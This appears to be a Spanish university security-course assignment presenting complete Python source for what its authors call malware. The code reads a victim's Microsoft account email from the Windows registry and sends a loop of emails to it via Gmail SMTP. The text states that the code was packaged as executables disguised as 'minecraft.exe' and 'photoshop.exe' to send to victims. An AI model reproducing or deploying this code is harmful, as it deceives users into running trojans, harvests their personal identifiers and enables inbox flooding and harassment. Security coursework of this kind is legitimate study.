RETO 9 SEGURIDAD EN SISTEMAS Y REDES

CIM31-G11

#NOTA: En el .zip se dispone del código en la carpeta “Virus Python”. Asimismo, más abajo se encuentra el código

Explicación del Código

Este código realiza dos tareas principales: obtener información del Registro de Windows y enviar correos electrónicos utilizando Gmail y el correo electrónico que encuentre en los registros del ordenador de la víctima. Aquí está una explicación más detallada de lo que hace cada parte del código:

En primer lugar, se producen las importaciones de ciertas funciones. Winreg accede al registro de Windows y el resto para enviar correos electrónicos.
Tras ello, se produce la definición de dos funciones: obtener_primera_carpeta_registro y send_email:

- **obtener_primera_carpeta_registro**
  Usa como parámetro una ruta de clave de registro para abrirla en el de Windows en modo lectura. Busca la primera subclave y devuelve su nombre. Si no la hay o no hay permisos se producirá un error.

- **send_email**
  Usa como parámetro el email del remitente, su contraseña, el correo del destinatario, el asunto y el cuerpo del email. En pocas palabras, se encarga de generar el email y enviarlo mediante una conexión con el servidor SMTP.

Por último, se declaran las variables y se producen las llamadas a las funciones para obtener la subclave y enviar el correo electrónico. Esto último va a generar múltiples correos utilizando un bucle (con la función send_email).

La carpeta contiene los ejecutables en el directorio dist, estos ejecutables se pueden enviar, y ejecutar en cualquier windows 10, el minecraft.exe envia 200 correos y el photoshop.exe envia solamente 2.

Estos correos se envían al correo de los registros de Microsoft. En caso en el que hubiese más de un correo se enviará al primero.

Diego Espinosa, Manuel Neto, Lucía González y Paul Rodríguez

RETO 9 SEGURIDAD EN SISTEMAS Y REDES

CIM31-G11

Código del Malware

```
import winreg
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

def obtener_primera_carpeta_registro(ruta_clave):
    try:
        # Abre la clave del Registro en modo de solo lectura
        clave = winreg.OpenKey(winreg.HKEY_CURRENT_USER, ruta_clave, 0, winreg.KEY_READ)

        # Inicializa el contador
        indice = 0

        while True:
            try:
                # Enumera las subclaves
                subclave = winreg.EnumKey(clave, indice)
                winreg.CloseKey(clave)  # Cierra la clave antes de devolver el resultado
                return subclave
            except OSError:
                # No hay más subclaves
                break

        winreg.CloseKey(clave)

        return None

    except FileNotFoundError:
        print(f"La clave del Registro no se encontró: {ruta_clave}")
        return None
    except PermissionError:
        print(f"Permiso denegado para acceder a la clave del Registro: {ruta_clave}")
        return None

def send_email(from_email, password, to_email, subject, message):
    # Configurar el servidor SMTP de Gmail
    smtp_server = 'smtp.gmail.com'
    smtp_port = 587

    # Crear un objeto MIMEMultipart para construir el mensaje
    msg = MIMEMultipart()
    msg['From'] = from_email
    msg['To'] = to_email
    msg['Subject'] = subject

    # Agregar el mensaje al cuerpo del correo electrónico
    msg.attach(MIMEText(message, 'plain'))

    # Iniciar conexión con el servidor SMTP
    server = smtplib.SMTP(smtp_server, smtp_port)
    server.starttls()  # Habilitar cifrado TLS
    server.login(from_email, password)  # Autenticarse en el servidor SMTP

    # Enviar el correo electrónico
    server.sendmail(from_email, to_email, msg.as_string())

    # Cerrar conexión con el servidor SMTP
    server.quit()
```

Diego Espinosa, Manuel Neto, Lucía González y Paul Rodríguez

```
# Ruta de la clave del Registro a leer
ruta_clave = r"Software\Microsoft\IdentityCRL\UserExtendedProperties"

# Llama a la función y muestra el nombre de la primera carpeta encontrada
primera_carpeta = obtener_primera_carpeta_registro(ruta_clave)



from_email = "nombredelemail con el que quieres enviar correos"
password = "contraseña del email con el que quieres enviar correos"
to_email = primera_carpeta # Email que se obtiene de los registros de la victima
cuerpo = "Cuerpo del correo que vas a enviar"
asunto = "Asunto del correo que vas a enviar"
n = 2 # Numero de emails que quieres enviar

for i in range(n):
    send_email(from_email, password, to_email, asunto, cuerpo)
```